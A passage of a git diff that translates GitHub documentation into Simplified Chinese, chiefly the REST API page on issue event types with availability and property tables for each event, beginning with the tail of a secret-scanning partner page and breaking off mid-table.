对于原始令牌的哈希形式,您只能使用 SHA-256 对令牌进行哈希处理,而不能使用任何其他哈希算法。 +- 用标签指示令牌为实报 ("true_positive") 还是误报 ("false_positive")。 只允许使用这两个小写的文字字符串。 {% note %} -**Note:** Our request timeout is set to be higher (that is, 30 seconds) for partners who provide data about false positives. If you require a timeout higher than 30 seconds, email us at secret-scanning@github.com. +注意:对于提供误报数据的合作伙伴,我们的请求超时设置得更高(即 30 秒)。 如果需要超过 30 秒的超时时间,请发送电子邮件至 secret-scanning@github.com。 {% endnote %} diff --git a/translations/zh-CN/content/developers/webhooks-and-events/events/issue-event-types.md b/translations/zh-CN/content/developers/webhooks-and-events/events/issue-event-types.md index a382c2fbb9..e09cbb4a97 100644 --- a/translations/zh-CN/content/developers/webhooks-and-events/events/issue-event-types.md +++ b/translations/zh-CN/content/developers/webhooks-and-events/events/issue-event-types.md @@ -1,6 +1,6 @@ --- -title: Issue event types -intro: 'For the Issues Events API and Timeline API, learn about each event type, the triggering action on {% data variables.product.prodname_dotcom %}, and each event''s unique properties.' +title: 议题事件类型 +intro: '对于议题事件 API 和时间表 API,了解每个事件类型、{% data variables.product.prodname_dotcom %} 上的触发操作以及每个事件的唯一属性。' redirect_from: - /v3/issues/issue-event-types - /developers/webhooks-and-events/issue-event-types @@ -11,742 +11,713 @@ versions: ghec: '*' topics: - Events +ms.openlocfilehash: 2459e4fbdcd4e857c603b7aa7354d4f2d5d6a062 +ms.sourcegitcommit: 9a7b3a9ccb983af5df2cd94da7fecf7a8237529b +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147875988' --- -Issue events are triggered by activity in issues and pull requests and are available in the [Issue Events API](/rest/reference/issues#events) and the [Timeline Events API](/rest/reference/issues#timeline). Each event type specifies whether the event is available in the Issue Events or Timeline Events APIs. +问题事件由问题和拉取请求中的活动触发,在[问题事件 API](/rest/reference/issues#events) 和[时间线事件 API](/rest/reference/issues#timeline) 中可用。 每个事件类型指定事件是否可用于议题事件或时间表事件 API。 -GitHub's REST API considers every pull request to be an issue, but not every issue is a pull request. For this reason, the Issue Events and Timeline Events endpoints may return both issues and pull requests in the response. Pull requests have a `pull_request` property in the `issue` object. Because pull requests are issues, issue and pull request numbers do not overlap in a repository. For example, if you open your first issue in a repository, the number will be 1. If you then open a pull request, the number will be 2. Each event type specifies if the event occurs in pull request, issues, or both. +GitHub 的 REST API 认为每个拉取请求都是一个议题,但并非每个议题都是拉取请求。 因此,议题事件和时间表事件端点可能在响应中同时返回议题和拉取请求。 拉取请求在 `issue` 对象中有一个 `pull_request` 属性。 因为拉取请求也是议题,因此议题和拉取请求编号在仓库中不会重叠。 例如,如果您在仓库中打开了您的第一个议题,则编号将为 1。 如果您随后打开了一个拉取请求,则编号将为 2。 每个事件类型指定事件是否发生在拉取请求和/或议题中。 -## Issue event object common properties +## 议题事件对象公共属性 -Issue events all have the same object structure, except events that are only available in the Timeline Events API. Some events also include additional properties that provide more context about the event resources. Refer to the specific event to for details about any properties that differ from this object format. +议题事件都具有相同的对象结构,但仅在时间表事件 API 中可用的事件除外。 某些事件还包括可提供有关事件资源更多上下文的其他属性。 有关不同于此对象格式的任何属性的详细信息,请参阅特定事件。 {% data reusables.issue-events.issue-event-common-properties %} ## added_to_project -The issue or pull request was added to a project board. {% data reusables.projects.disabled-projects %} +议题或拉取请求已添加到项目板。 {% data reusables.projects.disabled-projects %} -### Availability +### 可用性 -|Issue type | Issue events API | Timeline events API| +|问题类型 | 议题事件 API | 时间表事件 API| |:----------|:----------------:|:-----------------:| -|
  • Issues
  • Pull request
| **X** | **X** | +|
  • 问题
  • 拉取请求
| **X** | **X** | -### Event object properties +### 事件对象属性 -{% data reusables.pre-release-program.starfox-preview %} -{% data reusables.pre-release-program.api-preview-warning %} +{% data reusables.pre-release-program.starfox-preview %} {% data reusables.pre-release-program.api-preview-warning %} -{% data reusables.issue-events.issue-event-common-properties %} -{% data reusables.issue-events.project-card-properties %} +{% data reusables.issue-events.issue-event-common-properties %} {% data reusables.issue-events.project-card-properties %} -## assigned +## 已分配 -The issue or pull request was assigned to a user. +议题或拉取请求已分配给用户。 -### Availability +### 可用性 -|Issue type | Issue events API | Timeline events API| +|问题类型 | 议题事件 API | 时间表事件 API| |:----------|:----------------:|:-----------------:| -|
  • Issues
  • Pull requests
| **X** | **X** | +|
  • 问题
  • 拉取请求
| **X** | **X** | -### Event object properties +### 事件对象属性 -{% data reusables.issue-events.issue-event-common-properties %} -{% data reusables.issue-events.assignee-properties %} +{% data reusables.issue-events.issue-event-common-properties %} {% data reusables.issue-events.assignee-properties %} ## automatic_base_change_failed -GitHub unsuccessfully attempted to automatically change the base branch of the pull request. +GitHub 尝试自动更改拉取请求的基本分支未成功。 -### Availability +### 可用性 -|Issue type | Issue events API | Timeline events API| +|问题类型 | 议题事件 API | 时间表事件 API| |:----------|:----------------:|:-----------------:| -|
  • Pull requests
| **X** | | +|
  • 拉取请求
| **X** | | -### Event object properties +### 事件对象属性 {% data reusables.issue-events.issue-event-common-properties %} ## automatic_base_change_succeeded -GitHub successfully attempted to automatically change the base branch of the pull request. +GitHub 尝试自动更改拉取请求的基本分支已成功。 -### Availability +### 可用性 -|Issue type | Issue events API | Timeline events API| +|问题类型 | 议题事件 API | 时间表事件 API| |:----------|:----------------:|:-----------------:| -|
  • Pull requests
| **X** | | +|
  • 拉取请求
| **X** | | -### Event object properties +### 事件对象属性 {% data reusables.issue-events.issue-event-common-properties %} ## base_ref_changed -The base reference branch of the pull request changed. +拉取请求的基本引用分支已更改。 -### Availability +### 可用性 -|Issue type | Issue events API | Timeline events API| +|问题类型 | 议题事件 API | 时间表事件 API| |:----------|:----------------:|:-----------------:| -|
  • Pull requests
| **X** | | +|
  • 拉取请求
| **X** | | -### Event object properties +### 事件对象属性 {% data reusables.issue-events.issue-event-common-properties %} -## closed +## 已关闭 -The issue or pull request was closed. When the `commit_id` is present, it identifies the commit that closed the issue using "closes / fixes" syntax. For more information about the syntax, see "[Linking a pull request to an issue](/github/managing-your-work-on-github/linking-a-pull-request-to-an-issue#linking-a-pull-request-to-an-issue-using-a-keyword)". +议题或拉取请求已关闭。 `commit_id` 存在时,它会使用“closes/fixes”语法标识关闭问题的提交。 有关语法的详细信息,请参阅“[将拉取请求链接到问题](/github/managing-your-work-on-github/linking-a-pull-request-to-an-issue#linking-a-pull-request-to-an-issue-using-a-keyword)”。 -### Availability +### 可用性 -|Issue type | Issue events API | Timeline events API| +|问题类型 | 议题事件 API | 时间表事件 API| |:----------|:----------------:|:-----------------:| -|
  • Issues
  • Pull requests
| **X** | **X** | +|
  • 问题
  • 拉取请求
| **X** | **X** | -### Event object properties +### 事件对象属性 {% data reusables.issue-events.issue-event-common-properties %} -## commented +## 已评论 -A comment was added to the issue or pull request. +已将评论添加到议题或拉取请求中。 -### Availability +### 可用性 -|Issue type | Issue events API | Timeline events API| +|问题类型 | 议题事件 API | 时间表事件 API| |:----------|:----------------:|:-----------------:| -|
  • Issues
  • Pull requests
| | **X** | +|
  • 问题
  • 拉取请求
| | **X** | -### Event object properties +### 事件对象属性 {% data reusables.issue-events.timeline_events_object_properties %} -Name | Type | Description +名称 | 类型 | 说明 -----|------|-------------- -`url` | `string` | The REST API URL to retrieve the issue comment. -`html_url` | `string` | The HTML URL of the issue comment. -`issue_url` | `string` | The HTML URL of the issue. -`id` | `integer` | The unique identifier of the event. -`node_id` | `string` | The [Global Node ID](/graphql/guides/using-global-node-ids) of the event. -`user` | `object` | The person who commented on the issue. -`created_at` | `string` | The timestamp indicating when the comment was added. -`updated_at` | `string` | The timestamp indicating when the comment was updated or created, if the comment is never updated. -`author_association` | `string` | The permissions the user has in the issue's repository. For example, the value would be `"OWNER"` if the owner of repository created a comment. -`body` | `string` | The comment body text. -`event` | `string` | The event value is `"commented"`. -`actor` | `object` | The person who generated the event. +`url` | `string` | 用于检索议题评论的 REST API URL。 +`html_url` | `string` | 议题评论的 HTML URL。 +`issue_url` | `string` | 议题的 HTML URL。 +`id` | `integer` | 事件的唯一标识符。 +`node_id` | `string` | 事件的[全局节点 ID](/graphql/guides/using-global-node-ids)。 +`user` | `object` | 对议题发表评论的人。 +`created_at` | `string` | 指示评论添加时间的时间戳。 +`updated_at` | `string` | 指示评论更新或创建(如果从未更新)时间的时间戳。 +`author_association` | `string` | 用户在议题仓库中拥有的权限。 例如,如果存储库的所有者创建了注释,该值将为 `"OWNER"`。 +`body` | `string` | 评论正文文本。 +`event` | `string` | 事件值为 `"commented"`。 +`actor` | `object` | 生成事件的人。 -## committed +## 提交 -A commit was added to the pull request's `HEAD` branch. +已将提交添加到拉取请求的 `HEAD` 分支。 -### Availability +### 可用性 -|Issue type | Issue events API | Timeline events API| +|问题类型 | 议题事件 API | 时间表事件 API| |:----------|:----------------:|:-----------------:| -|
  • Pull requests
| | **X** | +|
  • 拉取请求
| | **X** | -### Event object properties +### 事件对象属性 {% data reusables.issue-events.timeline_events_object_properties %} -Name | Type | Description +名称 | 类型 | 说明 -----|------|-------------- -`sha` | `string` | The SHA of the commit in the pull request. -`node_id` | `string` | The [Global Node ID](/graphql/guides/using-global-node-ids) of the event. -`url` | `string` | The REST API URL to retrieve the commit. -`html_url` | `string` | The HTML URL of the commit. -`author` | `object` | The person who authored the commit. -`committer` | `object` | The person who committed the commit on behalf of the author. -`tree` | `object` | The Git tree of the commit. -`message` | `string` | The commit message. -`parents` | `array of objects` | A list of parent commits. -`verification` | `object` | The result of verifying the commit's signature. For more information, see "[Signature verification object](/rest/reference/git#get-a-commit)." -`event` | `string` | The event value is `"committed"`. +`sha` | `string` | 拉取请求中提交的 SHA。 +`node_id` | `string` | 事件的[全局节点 ID](/graphql/guides/using-global-node-ids)。 +`url` | `string` | 用于检索提交的 REST API URL。 +`html_url` | `string` | 提交的 HTML URL。 +`author` | `object` | 编写提交的人。 +`committer` | `object` | 代表作者进行提交的人。 +`tree` | `object` | 提交的 Git 树。 +`message` | `string` | 提交消息。 +`parents` | `array of objects` | 父提交的列表。 +`verification` | `object` | 验证提交签名的结果。 有关详细信息,请参阅“[签名验证对象](/rest/reference/git#get-a-commit)”。 +`event` | `string` | 事件值为 `"committed"`。 -## connected +## 已连接 -The issue or pull request was linked to another issue or pull request. For more information, see "[Linking a pull request to an issue](/github/managing-your-work-on-github/linking-a-pull-request-to-an-issue)". +议题或拉取请求已链接到另一个议题或拉取请求。 有关详细信息,请参阅“[将拉取请求链接到问题](/github/managing-your-work-on-github/linking-a-pull-request-to-an-issue)”。 -### Availability +### 可用性 -|Issue type | Issue events API | Timeline events API| +|问题类型 | 议题事件 API | 时间表事件 API| |:----------|:----------------:|:-----------------:| -|
  • Issues
  • Pull requests
| **X** | **X** | +|
  • 问题
  • 拉取请求
| **X** | **X** | -### Event object properties +### 事件对象属性 {% data reusables.issue-events.issue-event-common-properties %} ## convert_to_draft -The pull request was converted to draft mode. +拉取请求已转换为草稿模式。 -### Availability +### 可用性 -|Issue type | Issue events API | Timeline events API| +|问题类型 | 议题事件 API | 时间表事件 API| |:----------|:----------------:|:-----------------:| -|
  • Pull requests
| **X** | **X** | +|
  • 拉取请求
| **X** | **X** | -### Event object properties +### 事件对象属性 {% data reusables.issue-events.issue-event-common-properties %} ## converted_note_to_issue -The issue was created by converting a note in a project board to an issue. {% data reusables.projects.disabled-projects %} +此议题是通过将项目板中的注释转换为议题而产生的。 {% data reusables.projects.disabled-projects %} -### Availability +### 可用性 -|Issue type | Issue events API | Timeline events API| +|问题类型 | 议题事件 API | 时间表事件 API| |:----------|:----------------:|:-----------------:| -|
  • Issues
| **X** | **X** | +|
  • 问题
| **X** | **X** | -### Event object properties +### 事件对象属性 -{% data reusables.pre-release-program.starfox-preview %} -{% data reusables.pre-release-program.api-preview-warning %} +{% data reusables.pre-release-program.starfox-preview %} {% data reusables.pre-release-program.api-preview-warning %} -{% data reusables.issue-events.issue-event-common-properties %} -{% data reusables.issue-events.project-card-properties %} - -## converted_to_discussion - -The issue was closed and converted to a discussion. - -### Availability - -|Issue type | Issue events API | Timeline events API| -|-----|-----|-----| -|
  • Issues
| **X** | | - -### Event Object Properties - -{% data reusables.issue-events.issue-event-common-properties %} +{% data reusables.issue-events.issue-event-common-properties %} {% data reusables.issue-events.project-card-properties %} ## cross-referenced -The issue or pull request was referenced from another issue or pull request. +议题或拉取请求引用自另一个议题或拉取请求。 -### Availability +### 可用性 -|Issue type | Issue events API | Timeline events API| +|问题类型 | 议题事件 API | 时间表事件 API| |:----------|:----------------:|:-----------------:| -|
  • Issues
  • Pull requests
| | **X** | +|
  • 问题
  • 拉取请求
| | **X** | -### Event object properties +### 事件对象属性 {% data reusables.issue-events.timeline_events_object_properties %} -Name | Type | Description +名称 | 类型 | 说明 -----|------|-------------- -`actor` | `object` | The person who generated the event. -`created_at` | `string` | The timestamp indicating when the cross-reference was added. -`updated_at` | `string` | The timestamp indicating when the cross-reference was updated or created, if the cross-reference is never updated. -`source` | `object` | The issue or pull request that added a cross-reference. -`source[type]` | `string` | This value will always be `"issue"` because pull requests are of type issue. Only cross-reference events triggered by issues or pull requests are returned in the Timeline Events API. To determine if the issue that triggered the event is a pull request, you can check if the `source[issue][pull_request]` object exists. -`source[issue]` | `object` | The `issue` object that added the cross-reference. -`event` | `string` | The event value is `"cross-referenced"`. +`actor` | `object` | 生成事件的人。 +`created_at` | `string` | 指示交叉引用添加时间的时间戳。 +`updated_at` | `string` | 指示交叉引用更新或创建(如果从未更新)时间的时间戳。 +`source` | `object` | 添加交叉引用的议题或拉取请求。 +`source[type]` | `string` | 该值始终为 `"issue"`,因为拉取请求属于类型问题。 在时间表事件 API 中仅返回由议题或拉取请求触发的交叉引用事件。 若要确定触发事件的问题是否为拉取请求,可以检查 `source[issue][pull_request]` 对象是否存在。 +`source[issue]` | `object` | 添加交叉引用的 `issue` 对象。 +`event` | `string` | 事件值为 `"cross-referenced"`。 ## demilestoned -The issue or pull request was removed from a milestone. +议题或拉取请求已从里程碑中删除。 -### Availability +### 可用性 -|Issue type | Issue events API | Timeline events API| +|问题类型 | 议题事件 API | 时间表事件 API| |:----------|:----------------:|:-----------------:| -|
  • Issues
  • Pull requests
| **X** | **X** | +|
  • 问题
  • 拉取请求
| **X** | **X** | -### Event object properties +### 事件对象属性 -{% data reusables.issue-events.issue-event-common-properties %} -`milestone` | `object` | The milestone object. -`milestone[title]` | `string` | The title of the milestone. +{% data reusables.issue-events.issue-event-common-properties %} `milestone` | `object` | 里程碑对象。 +`milestone[title]` | `string` | 里程碑的标题。 ## deployed -The pull request was deployed. +拉取请求已部署。 -### Availability +### 可用性 -|Issue type | Issue events API | Timeline events API| +|问题类型 | 议题事件 API | 时间表事件 API| |:----------|:----------------:|:-----------------:| -|
  • Pull requests
| **X** | **X** | +|
  • 拉取请求
| **X** | **X** | -### Event object properties +### 事件对象属性 {% data reusables.issue-events.issue-event-common-properties %} ## deployment_environment_changed -The pull request deployment environment was changed. +拉取请求部署环境已更改。 -### Availability +### 可用性 -|Issue type | Issue events API | Timeline events API| +|问题类型 | 议题事件 API | 时间表事件 API| |:----------|:----------------:|:-----------------:| -|
  • Pull requests
| **X** | | +|
  • 拉取请求
| **X** | | -### Event object properties +### 事件对象属性 {% data reusables.issue-events.issue-event-common-properties %} -## disconnected +## 已断开连接 -The issue or pull request was unlinked from another issue or pull request. For more information, see "[Linking a pull request to an issue](/github/managing-your-work-on-github/linking-a-pull-request-to-an-issue)". +议题或拉取请求与另一个议题或拉取请求取消链接。 有关详细信息,请参阅“[将拉取请求链接到问题](/github/managing-your-work-on-github/linking-a-pull-request-to-an-issue)”。 -### Availability +### 可用性 -|Issue type | Issue events API | Timeline events API| +|问题类型 | 议题事件 API | 时间表事件 API| |:----------|:----------------:|:-----------------:| -|
  • Issues
  • Pull requests
| **X** | **X** | +|
  • 问题
  • 拉取请求
| **X** | **X** | -### Event object properties +### 事件对象属性 {% data reusables.issue-events.issue-event-common-properties %} ## head_ref_deleted -The pull request's `HEAD` branch was deleted. +拉取请求的 `HEAD` 分支已删除。 -### Availability +### 可用性 -|Issue type | Issue events API | Timeline events API| +|问题类型 | 议题事件 API | 时间表事件 API| |:----------|:----------------:|:-----------------:| -|
  • Pull requests
| **X** | **X** | +|
  • 拉取请求
| **X** | **X** | -### Event object properties +### 事件对象属性 {% data reusables.issue-events.issue-event-common-properties %} ## head_ref_restored -The pull request's `HEAD` branch was restored to the last known commit. +拉取请求的 `HEAD` 分支已还原为上一个已知提交。 -### Availability +### 可用性 -|Issue type | Issue events API | Timeline events API| +|问题类型 | 议题事件 API | 时间表事件 API| |:----------|:----------------:|:-----------------:| -|
  • Pull requests
| **X** | **X** | +|
  • 拉取请求
| **X** | **X** | ## head_ref_force_pushed -The pull request's HEAD branch was force pushed. +拉取请求的 HEAD 分支已强制推送。 -### Availability +### 可用性 -|Issue type | Issue events API | Timeline events API| +|问题类型 | 议题事件 API | 时间表事件 API| |:----------|:----------------:|:-----------------:| -|
  • Pull requests
| **X** | **X** | +|
  • 拉取请求
| **X** | **X** | -### Event object properties +### 事件对象属性 {% data reusables.issue-events.issue-event-common-properties %} -## labeled +## 已标记 -A label was added to the issue or pull request. +标签已添加到议题或拉取请求。 -### Availability +### 可用性 -|Issue type | Issue events API | Timeline events API| +|问题类型 | 议题事件 API | 时间表事件 API| |:----------|:----------------:|:-----------------:| -|
  • Issues
  • Pull requests
| **X** | **X** | +|
  • 问题
  • 拉取请求
| **X** | **X** | -### Event object properties +### 事件对象属性 -{% data reusables.issue-events.issue-event-common-properties %} -{% data reusables.issue-events.label-properties %} +{% data reusables.issue-events.issue-event-common-properties %} {% data reusables.issue-events.label-properties %} ## locked -The issue or pull request was locked. +议题或拉取请求已锁定。 -### Availability +### 可用性 -|Issue type | Issue events API | Timeline events API| +|问题类型 | 议题事件 API | 时间表事件 API| |:----------|:----------------:|:-----------------:| -|
  • Issues
  • Pull requests
| **X** | **X** | +|
  • 问题
  • 拉取请求
| **X** | **X** | -### Event object properties +### 事件对象属性 -{% data reusables.issue-events.issue-event-common-properties %} -`lock_reason` | `string` | The reason an issue or pull request conversation was locked, if one was provided. +{% data reusables.issue-events.issue-event-common-properties %} `lock_reason` | `string` | 锁定问题或拉取请求对话的原因(如果已提供)。 ## mentioned -The `actor` was `@mentioned` in an issue or pull request body. +在问题或拉取请求正文中,`actor` 是 `@mentioned`。 -### Availability +### 可用性 -|Issue type | Issue events API | Timeline events API| +|问题类型 | 议题事件 API | 时间表事件 API| |:----------|:----------------:|:-----------------:| -|
  • Issues
  • Pull requests
| **X** | **X** | +|
  • 问题
  • 拉取请求
| **X** | **X** | -### Event object properties +### 事件对象属性 {% data reusables.issue-events.issue-event-common-properties %} ## marked_as_duplicate -A user with write permissions marked an issue as a duplicate of another issue, or a pull request as a duplicate of another pull request. +具有写入权限的用户将议题标记为另一个议题的重复项,或将拉取请求标记为另一个拉取请求的重复项。 -### Availability +### 可用性 -|Issue type | Issue events API | Timeline events API| +|问题类型 | 议题事件 API | 时间表事件 API| |:----------|:----------------:|:-----------------:| -|
  • Issues
  • Pull requests
| **X** | **X** | +|
  • 问题
  • 拉取请求
| **X** | **X** | -### Event object properties +### 事件对象属性 {% data reusables.issue-events.issue-event-common-properties %} -## merged +## 合并 -The pull request was merged. The `commit_id` attribute is the SHA1 of the `HEAD` commit that was merged. The `commit_repository` is always the same as the main repository. +拉取请求已合并。 `commit_id` 属性是已合并的 `HEAD` 提交的 SHA1。 `commit_repository` 始终与主存储库相同。 -### Availability +### 可用性 -|Issue type | Issue events API | Timeline events API| +|问题类型 | 议题事件 API | 时间表事件 API| |:----------|:----------------:|:-----------------:| -|
  • Pull requests
| **X** | **X** | +|
  • 拉取请求
| **X** | **X** | -### Event object properties +### 事件对象属性 {% data reusables.issue-events.issue-event-common-properties %} ## milestoned -The issue or pull request was added to a milestone. +议题或拉取请求已添加到里程碑。 -### Availability +### 可用性 -|Issue type | Issue events API | Timeline events API| +|问题类型 | 议题事件 API | 时间表事件 API| |:----------|:----------------:|:-----------------:| -|
  • Issues
  • Pull requests
| **X** | **X** | +|
  • 问题
  • 拉取请求
| **X** | **X** | -### Event object properties +### 事件对象属性 -{% data reusables.issue-events.issue-event-common-properties %} -`milestone` | `object` | The milestone object. -`milestone[title]` | `string` | The title of the milestone. +{% data reusables.issue-events.issue-event-common-properties %} `milestone` | `object` | 里程碑对象。 +`milestone[title]` | `string` | 里程碑的标题。 ## moved_columns_in_project -The issue or pull request was moved between columns in a project board. {% data reusables.projects.disabled-projects %} +议题或拉取请求已在项目板的各列之间移动。 {% data reusables.projects.disabled-projects %} -### Availability +### 可用性 -|Issue type | Issue events API | Timeline events API| +|问题类型 | 议题事件 API | 时间表事件 API| |:----------|:----------------:|:-----------------:| -|
  • Issues
  • Pull requests
| **X** | **X** | +|
  • 问题
  • 拉取请求
| **X** | **X** | -### Event object properties +### 事件对象属性 -{% data reusables.pre-release-program.starfox-preview %} -{% data reusables.pre-release-program.api-preview-warning %} +{% data reusables.pre-release-program.starfox-preview %} {% data reusables.pre-release-program.api-preview-warning %} -{% data reusables.issue-events.issue-event-common-properties %} -{% data reusables.issue-events.project-card-properties %} -`previous_column_name` | `string` | The name of the column the issue was moved from. +{% data reusables.issue-events.issue-event-common-properties %} {% data reusables.issue-events.project-card-properties %} `previous_column_name` | `string` | 从中移动问题的列的名称。 ## pinned -The issue was pinned. +该议题已被置顶。 -### Availability +### 可用性 -|Issue type | Issue events API | Timeline events API| +|问题类型 | 议题事件 API | 时间表事件 API| |:----------|:----------------:|:-----------------:| -|
  • Issues
| **X** | **X** | +|
  • 问题
| **X** | **X** | -### Event object properties +### 事件对象属性 {% data reusables.issue-events.issue-event-common-properties %} ## ready_for_review -A draft pull request was marked as ready for review. +草稿拉取请求已标记为可供审阅。 -### Availability +### 可用性 -|Issue type | Issue events API | Timeline events API| +|问题类型 | 议题事件 API | 时间表事件 API| |:----------|:----------------:|:-----------------:| -|
  • Pull requests
| **X** | **X** | +|
  • 拉取请求
| **X** | **X** | -### Event object properties +### 事件对象属性 {% data reusables.issue-events.issue-event-common-properties %} ## referenced -The issue was referenced from a commit message. The `commit_id` attribute is the commit SHA1 of where that happened and the commit_repository is where that commit was pushed. +议题引用自提交消息。 `commit_id` 属性是提交位置的 SHA1,commit_repository 是推送提交的位置。 -### Availability +### 可用性 -|Issue type | Issue events API | Timeline events API| +|问题类型 | 议题事件 API | 时间表事件 API| |:----------|:----------------:|:-----------------:| -|
  • Issues
  • Pull requests
| **X** | **X** | +|
  • 问题
  • 拉取请求
| **X** | **X** | -### Event object properties +### 事件对象属性 {% data reusables.issue-events.issue-event-common-properties %} ## removed_from_project -The issue or pull request was removed from a project board. {% data reusables.projects.disabled-projects %} +议题或拉取请求已从项目板中删除。 {% data reusables.projects.disabled-projects %} -### Availability +### 可用性 -|Issue type | Issue events API | Timeline events API| +|问题类型 | 议题事件 API | 时间表事件 API| |:----------|:----------------:|:-----------------:| -|
  • Issues
  • Pull requests
| **X** | **X** | +|
  • 问题
  • 拉取请求
| **X** | **X** | -### Event object properties +### 事件对象属性 -{% data reusables.pre-release-program.starfox-preview %} -{% data reusables.pre-release-program.api-preview-warning %} +{% data reusables.pre-release-program.starfox-preview %} {% data reusables.pre-release-program.api-preview-warning %} -{% data reusables.issue-events.issue-event-common-properties %} -{% data reusables.issue-events.project-card-properties %} +{% data reusables.issue-events.issue-event-common-properties %} {% data reusables.issue-events.project-card-properties %} ## renamed -The issue or pull request title was changed. +议题或拉取请求标题已更改。 -### Availability +### 可用性 -|Issue type | Issue events API | Timeline events API| +|问题类型 | 议题事件 API | 时间表事件 API| |:----------|:----------------:|:-----------------:| -|
  • Issues
  • Pull requests
| **X** | **X** | +|
  • 问题
  • 拉取请求
| **X** | **X** | -### Event object properties +### 事件对象属性 -{% data reusables.issue-events.issue-event-common-properties %} -`rename` | `object` | The name details. -`rename[from]` | `string` | The previous name. -`rename[to]` | `string` | The new name. +{% data reusables.issue-events.issue-event-common-properties %} `rename` | `object` | 名称详细信息。 +`rename[from]` | `string` | 之前的名称。 +`rename[to]` | `string` | 新名称。 -## reopened +## 已重新打开 -The issue or pull request was reopened. +问题或拉取请求已重新打开。 -### Availability +### 可用性 -|Issue type | Issue events API | Timeline events API| +|问题类型 | 议题事件 API | 时间表事件 API| |:----------|:----------------:|:-----------------:| -|
  • Issues
  • Pull requests
| **X** | **X** | +|
  • 问题
  • 拉取请求
| **X** | **X** | -### Event object properties +### 事件对象属性 {% data reusables.issue-events.issue-event-common-properties %} ## review_dismissed -The pull request review was dismissed. +拉取请求审查被忽略。 -### Availability +### 可用性 -|Issue type | Issue events API | Timeline events API| +|问题类型 | 议题事件 API | 时间表事件 API| |:----------|:----------------:|:-----------------:| -|
  • Pull requests
| **X** | **X** | +|
  • 拉取请求
| **X** | **X** | -### Event object properties +### 事件对象属性 -{% data reusables.issue-events.issue-event-common-properties %} -{% data reusables.issue-events.review-dismissed-properties %} +{% data reusables.issue-events.issue-event-common-properties %} {% data reusables.issue-events.review-dismissed-properties %} ## review_requested -A pull request review was requested. +已请求拉取请求审查。 -### Availability +### 可用性 -|Issue type | Issue events API | Timeline events API| +|问题类型 | 议题事件 API | 时间表事件 API| |:----------|:----------------:|:-----------------:| -|
  • Pull requests
| **X** | **X** | +|
  • 拉取请求
| **X** | **X** | -### Event object properties +### 事件对象属性 -{% data reusables.issue-events.issue-event-common-properties %} -{% data reusables.issue-events.review-request-properties %} +{% data reusables.issue-events.issue-event-common-properties %} {% data reusables.issue-events.review-request-properties %} ## review_request_removed -A pull request review request was removed. +拉取请求审查被删除。 -### Availability +### 可用性 -|Issue type | Issue events API | Timeline events API| +|问题类型 | 议题事件 API | 时间表事件 API| |:----------|:----------------:|:-----------------:| -|
  • Pull requests
| **X** | **X** | +|
  • 拉取请求
| **X** | **X** | -### Event object properties +### 事件对象属性 -{% data reusables.issue-events.issue-event-common-properties %} -{% data reusables.issue-events.review-request-properties %} +{% data reusables.issue-events.issue-event-common-properties %} {% data reusables.issue-events.review-request-properties %} ## reviewed -The pull request was reviewed. +已审查拉取请求。 -### Availability +### 可用性 -|Issue type | Issue events API | Timeline events API| +|问题类型 | 议题事件 API | 时间表事件 API| |:----------|:----------------:|:-----------------:| -|
  • Pull requests
| | **X** | +|
  • 拉取请求
| | **X** | -### Event object properties +### 事件对象属性 {% data reusables.issue-events.timeline_events_object_properties %} -Name | Type | Description +名称 | 类型 | 说明 -----|------|-------------- -`id` | `integer` | The unique identifier of the event. -`node_id` | `string` | The [Global Node ID](/graphql/guides/using-global-node-ids) of the event. -`user` | `object` | The person who commented on the issue. -`body` | `string` | The review summary text. -`commit_id` | `string` | The SHA of the latest commit in the pull request at the time of the review. -`submitted_at` | `string` | The timestamp indicating when the review was submitted. -`state` | `string` | The state of the submitted review. Can be one of: `commented`, `changes_requested`, or `approved`. -`html_url` | `string` | The HTML URL of the review. -`pull_request_url` | `string` | The REST API URL to retrieve the pull request. -`author_association` | `string` | The permissions the user has in the issue's repository. For example, the value would be `"OWNER"` if the owner of repository created a comment. -`_links` | `object` | The `html_url` and `pull_request_url`. -`event` | `string` | The event value is `"reviewed"`. +`id` | `integer` | 事件的唯一标识符。 +`node_id` | `string` | 事件的[全局节点 ID](/graphql/guides/using-global-node-ids)。 +`user` | `object` | 对议题发表评论的人。 +`body` | `string` | 审查摘要文本。 +`commit_id` | `string` | 审查时拉取请求中最新提交的 SHA。 +`submitted_at` | `string` | 指示审查提交时间的时间戳。 +`state` | `string` | 已提交审查的状态。 可以是下述之一:`commented`、`changes_requested` 或 `approved`。 +`html_url` | `string` | 审查的 HTML URL。 +`pull_request_url` | `string` | 用于检索拉取请求的 REST API URL。 +`author_association` | `string` | 用户在议题仓库中拥有的权限。 例如,如果存储库的所有者创建了注释,该值将为 `"OWNER"`。 +`_links` | `object` | `html_url` 和 `pull_request_url`。 +`event` | `string` | 事件值为 `"reviewed"`。 ## subscribed -Someone subscribed to receive notifications for an issue or pull request. +有人订阅了接收议题或拉取请求的通知。 -### Availability +### 可用性 -|Issue type | Issue events API | Timeline events API| +|问题类型 | 议题事件 API | 时间表事件 API| |:----------|:----------------:|:-----------------:| -|
  • Issues
  • Pull requests
| **X** | **X** | +|
  • 问题
  • 拉取请求
| **X** | **X** | -### Event object properties +### 事件对象属性 {% data reusables.issue-events.issue-event-common-properties %} ## transferred -The issue was transferred to another repository. +议题已转移到另一个仓库。 -### Availability +### 可用性 -|Issue type | Issue events API | Timeline events API| +|问题类型 | 议题事件 API | 时间表事件 API| |:----------|:----------------:|:-----------------:| -|
  • Issues
| **X** | **X** | +|
  • 问题
| **X** | **X** | -### Event object properties +### 事件对象属性 {% data reusables.issue-events.issue-event-common-properties %} -## unassigned +## 未分配 -A user was unassigned from the issue. +已从议题中取消分配用户。 -### Availability +### 可用性 -|Issue type | Issue events API | Timeline events API| +|问题类型 | 议题事件 API | 时间表事件 API| |:----------|:----------------:|:-----------------:| -|
  • Issues
  • Pull requests
| **X** | **X** | +|
  • 问题
  • 拉取请求
| **X** | **X** | -### Event object properties +### 事件对象属性 -{% data reusables.issue-events.issue-event-common-properties %} -{% data reusables.issue-events.assignee-properties %} +{% data reusables.issue-events.issue-event-common-properties %} {% data reusables.issue-events.assignee-properties %} ## unlabeled -A label was removed from the issue. +已从议题中删除标签。 -### Availability +### 可用性 -|Issue type | Issue events API | Timeline events API| +|问题类型 | 议题事件 API | 时间表事件 API| |:----------|:----------------:|:-----------------:| -|
  • Issues
  • Pull requests
| **X** | **X** | +|
  • 问题
  • 拉取请求
